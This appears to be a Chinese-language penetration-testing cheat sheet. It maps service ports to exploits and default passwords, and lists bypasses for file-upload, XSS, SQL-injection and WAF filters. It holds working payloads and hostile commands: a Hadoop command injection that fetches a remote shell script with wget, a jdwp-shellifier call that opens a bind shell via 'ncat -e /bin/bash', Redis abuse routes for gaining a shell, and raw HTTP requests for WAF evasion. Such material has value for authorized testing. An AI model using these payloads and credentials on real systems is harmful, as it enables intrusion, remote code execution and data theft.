445 / smb
win10拒绝服务
永恒之蓝RCE
875 / rsync
匿名访问
http://www.anquan.us/static/bugs/wooyun-2016-0190815.html
https://paper.seebug.org/409/
http://www.91ri.org/11093.html
1433 / mssql
暴力破解
http://www.anquan.us/static/drops/tips-12749.html
https://www.seebug.org/appdir/Microsoft%20SQL%20Server
1521 / oracle
暴力破解
https://www.exploit-db.com/exploits/33084
2601 / zebra
http://www.anquan.us/static/bugs/wooyun-2013-047409.html
3128 / squid
3306 / mysql
RCE
http://www.91ri.org/17511.html
CVE-2015-0411
hash破解
https://www.freebuf.com/column/153561.html
waf绕过
https://www.freebuf.com/articles/web/155570.html
general_log_file getshell
https://www.freebuf.com/column/143125.html
提权
http://www.91ri.org/16540.html
3312 / kangle
getshell
https://www.secpulse.com/archives/23927.html
3389 / rdp
shift 放大镜 输入法绕过 guest用户
永恒之蓝(ESTEEMAUDIT)
https://www.freebuf.com/articles/system/132171.html
https://www.anquanke.com/post/id/86328
ms12-020
https://blog.csdn.net/meyo_leo/article/details/77950552
4440 / rundeck
https://www.secpulse.com/archives/29500.html
4848 / glassfish
文件读取
https://www.secpulse.com/archives/42277.html
https://www.anquanke.com/post/id/85948
GlassFish2 / admin:admin
GlassFish3,4 / 如果管理员不设置帐号本地会自动登录,远程访问会提示配置错误
5432 / PostgreSQL
RCE
https://www.cnblogs.com/KevinGeorge/p/8521496.html
https://www.secpulse.com/archives/69153.html
默认账号postgres
参考
http://www.91ri.org/13070.html
http://www.91ri.org/6507.html
5672,15672,4369,25672 / RabbitMQ
(guest/guest)
5900 / VNC
https://www.seebug.org/appdir/RealVNC
5984 / CouchDB
http://xxx:5984/_utils/
6082 / varnish
CLI 未授权
https://www.secpulse.com/archives/10681.html
6379 / redis
Redis未授权
ssh publickey
crontab
webshell
反序列化
开机自启文件夹写bat
参考
https://www.freebuf.com/column/170710.html
7001,7002 / WebLogic
默认弱口令
weblogic/weblogic ,weblogic/welcom ,weblogic/welcom1,weblogic1/weblogic
反序列
CVE-2018-2628
https://www.freebuf.com/articles/web/169770.html
https://www.seebug.org/appdir/WebLogic
9200,9300 / elasticsearch
CVE-2015-1427
http://www.anquan.us/static/drops/papers-5142.html
CVE-2018-17246
https://www.seebug.org/vuldb/ssvid-97730
参考
https://www.seebug.org/search/?keywords=elasticsearch
9000 / fcgi
https://paper.seebug.org/289/
9043 / WebSphere
Websphere8.5
https://localhost:9043/ibm/console/logon.jsp
Websphere6-7
http://localhost:9043/ibm/console
后台未授权,登录后可部署WAR包
SOAP服务有反序列化
弱口令:admin / password
11211 / memcache
未授权
UDP反射
https://shockerli.net/post/memcached-udp-reflection-attack-bug/
27017,27018 / Mongodb
未授权
注入
https://www.anquanke.com/post/id/83763
phpMoAdmin RCE
https://www.aqniu.com/threat-alert/6978.html
50000 / SAP
SAP命令执行
https://www.secpulse.com/archives/20204.html
50070,50030 / hadoop
未授权
https://www.freebuf.com/vuls/173638.html
命令执行
host:50060/pstack?pid=123|wget http://somehost/shell.sh
https://www.seebug.org/search/?keywords=hadoop
其他
http://www.91ri.org/15441.html
JDWP 服务
描述
是 Java 远程调试的一个服务,如果可以和该端口通行就可以执行任意代码
通过 telnet 或 netcat 连接,输入 JDWP-Handshake 如果响应也是 JDWP-Handshake 则存在漏洞
漏洞
利用工具:https://github.com/IOActive/jdwp-shellifier
python ./jdwp-shellifier.py -t my.target.ip -p 1234 --cmd "ncat -v -l -p 1234 -e /bin/bash"
通用漏洞
WEB
Java
struts2
S2-001 --- WebWork 2.1 (with altSyntax enabled), WebWork 2.2.0 - WebWork 2.2.5, Struts 2.0.0 - Struts 2.0.8
S2-003 --- Struts 2.0.0 - Struts 2.0.11.2
S2-005 --- Struts 2.0.0 - Struts 2.1.8.1
S2-007 --- Struts 2.0.0 - Struts 2.2.3
S2-008 --- Struts 2.1.0 - Struts 2.3.1
S2-009 --- Struts 2.0.0 - Struts 2.3.1.1
S2-012 --- Struts Showcase App 2.0.0 - Struts Showcase App 2.3.13
S2-013 --- Struts 2.0.0 - Struts 2.3.14
S2-015 --- Struts 2.0.0 - Struts 2.3.14.2
S2-016 --- Struts 2.0.0 - Struts 2.3.15
S2-019 --- Struts 2.0.0 - Struts 2.3.15.1
S2-029 --- Struts 2.0.0 - Struts 2.3.24.1 (except 2.3.20.3)
S2-032 --- Struts 2.3.20 - Struts Struts 2.3.28 (except 2.3.20.3 and 2.3.24.3)
S2-033 --- Struts 2.3.20 - Struts Struts 2.3.28 (except 2.3.20.3 and 2.3.24.3)
S2-037 --- Struts 2.3.20 - Struts Struts 2.3.28.1
S2-045 --- Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10
S2-046 --- Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10
S2-048 --- Struts 2.3.x with Struts 1 plugin and Struts 1 action
S2-052 --- Struts 2.1.2 - Struts 2.3.33, Struts 2.5 - Struts 2.5.12
S2-053 --- Struts 2.0.1 - Struts 2.3.33, Struts 2.5 - Struts 2.5.10
S2-057 --- Struts 2.0.4 - Struts 2.3.34, Struts 2.5.0 - Struts 2.5.16
spring
https://pivotal.io/security
Spring-data-commons 代码执行
https://www.freebuf.com/vuls/172984.html
Spring MVC 目录穿越漏洞
https://paper.seebug.org/665/
Spring 视图注入漏洞
http://lonelyrain.me/2018/09/18/spring-view-injection/
spring-messaging远程代码执行
https://www.anquanke.com/post/id/104140
Spring WebFlow 远程代码执行
https://www.anquanke.com/post/id/86244
spring-tx.jar 反序列化
https://www.freebuf.com/vuls/115849.html
spring-security-oauth2 RCE
https://chybeta.github.io/2018/05/12/RCE-with-spring-security-oauth2-%E5%88%86%E6%9E%90-%E3%80%90CVE-2018-1260%E3%80%91/
Spring Boot Actuator jolokia RCE/XXE
https://b1ue.cn/archives/111.html
Spring Cloud Config Server 任意文件读取漏洞(CVE-2019-3799)
https://b1ue.cn/archives/126.html
Springboot swagger 控制台未授权
/swagger-ui.html
/v1.x/swagger-ui.html
/swagger/ui/
/api/swagger-ui.html
Spring Boot Actuator 未授权访问
接口
/conditions
/beans
/configprops
/env/{toMatch}
/info
/mappings
/health
/auditevents
/loggers/{name}
/metrics/{requiredMetricName}
/heapdump
/threaddump
/scheduledtasks
/httptrace
接口文档
https://www.cnblogs.com/ckp-henu/p/spring-boot-actuator.html
Spring Httpinvoker 反序列化
...
PHP
thinkphp
5.x
多个代码执行
3.x
代码执行
SQL注入
日志泄漏
/App/Runtime/模块名/Log[s]/年_月_日.log
/Application/Runtime/Log[s]/年_月_日.log
/Runtime/Log[s]/年_月_日.log
缓存getshell
yii
Laravel
http://www.vuln.cn/6315
.Net
...
服务器
nginx
0.8.* 版本以下有解析漏洞 e.g:1.jpg/.php 1.jpg%00x.php
https://github.com/yandex/gixy 安全配置检查工具
apache
有解析漏洞 e.g:1.php.xx
HTTP 2.0 拒绝服务 https://www.freebuf.com/vuls/139042.html
CVE-2017-15715 解析漏洞 https://www.leavesongs.com/PENETRATION/apache-cve-2017-15715-vulnerability.html
IIS
6.*
CVE-2017-7269远程代码执行 https://www.freebuf.com/vuls/130531.html
PUT WRITE
7.*
Fast-CGI漏洞 e.g:/xx.jpg/xx.php
CVE-2015-1635 HTTP.SYS 溢出 https://www.freebuf.com/vuls/64195.html
IIS加载CGI环境块伪造 https://www.freebuf.com/vuls/31444.html
短文件名 https://www.freebuf.com/articles/web/172561.html
weblogic
反序列化
CVE-2015-4852
CVE-2016-0638
CVE-2016-3510
CVE-2017-3248
CVE-2018-2628
CVE-2018-2893
CVE-2018-3252
CVE-2018-3191
CVE-2018-3245
CVE-2018-2894
https://blog.csdn.net/qq_23936389/article/details/81256015
https://www.seebug.org/appdir/WebLogic
tomcat
CVE-2017-12615 远程代码执行
session 注册
/examples/servlets/servlet/SessionExample
本地提权
https://www.freebuf.com/vuls/115862.html
jboss
https://www.seebug.org/appdir/jboss
https://www.freebuf.com/vuls/186948.html
websphere
Websphere8.5
https://localhost:9043/ibm/console/logon.jsp
Websphere6-7
http://localhost:9043/ibm/console
后台未授权,登录后可部署WAR包
SOAP服务有反序列化
弱口令:admin / password
Bypass
Upload
容器特性
Apache1.X / 2.X
从后向前识别,直到可识别的扩展名
x.php.asd
IIS 6
目录为 *.asp/*.asa等可被IIS动态执行的扩展名
/1.asp/1.jpg
IIS7&7.5 / <=Nginx0.8.3
上传1.jpg 访问 1.jpg/.php
Nginx 0.8.41 – 1.5.6
上传shell.php 访问shell.jpg%20.php
操作系统特性
在shell.php后加上%80到%99,系统不识别这个范围内的字符
Windows会去除尾部的. shell.php......
shell.php::$DATA
处理方法
处理方式
拦截
不会通过应用
过滤
会经过应用,但会在其中的一个环节被替换为一些安全的字符
检查部分
文件扩展名
文件contenttype
文件内容
图片是否完整
检查规则
黑名单
asp、php、jsp等
可通过fuzz上传不在黑名单的冷门扩展名
jspx
phtml
asa等
上传.htaccess
上传.user.ini
白名单
jpg、png、doc等
可以通过常见的%00 或web容器/系统特性绕过
语法规则
eavl(**) 等
避开常用代码,使用混淆、冷门函数、反射机制等方法绕过
一些其他绕过方法
双上传
在boundary 加一些字符
在content-disposition中添加字符
超长文件名
修改content-length
文件名中夹杂小语种或非英语字符
参考
https://xz.aliyun.com/t/337
XSS
常用操作
scrscriptipt
大小写绕过
DOM XSS无视后端过滤
替换为HTML实体编码
AJAX中的响应为JSON可以考虑使用Unicode编码
尝试使用POST或其他类型请求
字符串拼接
字符串反转
利用WEB容器特性
参数污染
' 或 " 被转义
宽字节逃逸
String.fromCharCode
jsfuck
eval
在标签属性中可以不使用
空格被过滤
%0D
%0A
+
标签中可用 /
限制长度
多段提交 part1:<script>/* part2:*/a=1</script>
<svg/onload=alert(1)>
短域名
https://wooyun.js.org/drops/%E7%9F%AD%E5%9F%9F%E5%90%8D%E8%BF%9B%E5%8C%96%E5%8F%B2.html
短连接 //t.cn/xxxx
<>被过滤
在可执行事件标签中或 script内无需绕过
Unicode \u003c\u003e
待补充...
SQL 注入
特性
一些web容器 提交两个同样的参数会把其拼接起来或只取一个,可以考虑使用参数污染方式绕过
a=1&a='or '1'='1
iis支持unicode,可以把payloadUnicode编码再提交
如s%u0065lect
使用multipart 方式提交
sqlserver可以使用分号;结束命令
mysql 可以使用内联注释 /*!50000select*/
一些绕过方法
转义'
宽字节绕过
二次注入
常用注释
/**/
--
#
-- +
特殊字符 如%00 %0d %0a
使用空白字符
SQLite3 0A 0D 0C 09 20
MySQL5 09 0A 0B 0C 0D A0 20
PosgresSQL 0A 0D 0C 09 20
Oracle 11g 00 0A 0D 0C 09 20
MSSQL 01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20
union(select)
select all{x users}from{x ddd}
超长注入命令
插入emoji / 小语种文字等字符
使用sqlmap tamper
一些常用注入关键字
使用冷门函数语法
科学计数语法 如 8e0union
绕过云WAF,找到真实IP注入
基于协议的绕过方法
Chunked Transfer分块传输
https://www.anquanke.com/post/id/169738
https://www.freebuf.com/news/193659.html
https://www.bugbank.cn/live/view.html?id=111608
参考
https://www.secpulse.com/archives/53328.html
比较冷门的bypass方法
添加一个换行符在第一行
```
GET /login HTTP/1.1
Host: favoritewaf.com
User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)
```
用小写的方法(Apache)
```
get /login HTTP/1.1
Host: favoritewaf.com
User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)
```
在方法之前写加一个TAB
```
GET /login.php HTTP/1.1
Host: favoritewaf.com
User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)
```
```
GET /login.php?pam_param=test1&pam[param=test2&pam%5bparam=test3
```
使用绝对URL
```
GET http://localhost/login.php HTTP/1.1
Host: favoritewaf.com
User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)
```
双HOST头
```
GET /login.php HTTP/1.1
Host: favoritewaf.com
Host: localhost
User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)
```
小写HOST
```
GET /login.php HTTP/1.1
host: favoritewaf.com
User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)
```
去掉HOST的空格
```
GET /login.php HTTP/1.1
Host:favoritewaf.com
User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)
```
在HOST中加一个TAB
```
GET /login.php HTTP/1.1
Host: favoritewaf.com
User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)
```
Content-Type加一些字符
```
POST /login.php HTTP/1.1
Host: favoritewaf.com
User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)
Content-Type: application/another-text/+++x-www-form-urlencoded
hello=world
```
multipart插入脏数据
```
Content-Type: multipart/form-data; boundary=x
--x
Content-Disposition:
test1;
--x
test2;
--x--
test3;
name="hello"
world
```
Transfer chunked攻击
```
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
Transfer-Encoding: chunked
3
hel
3
lo=
3
wor
2
ld
0
```
参考
https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet
0 条评论
下一页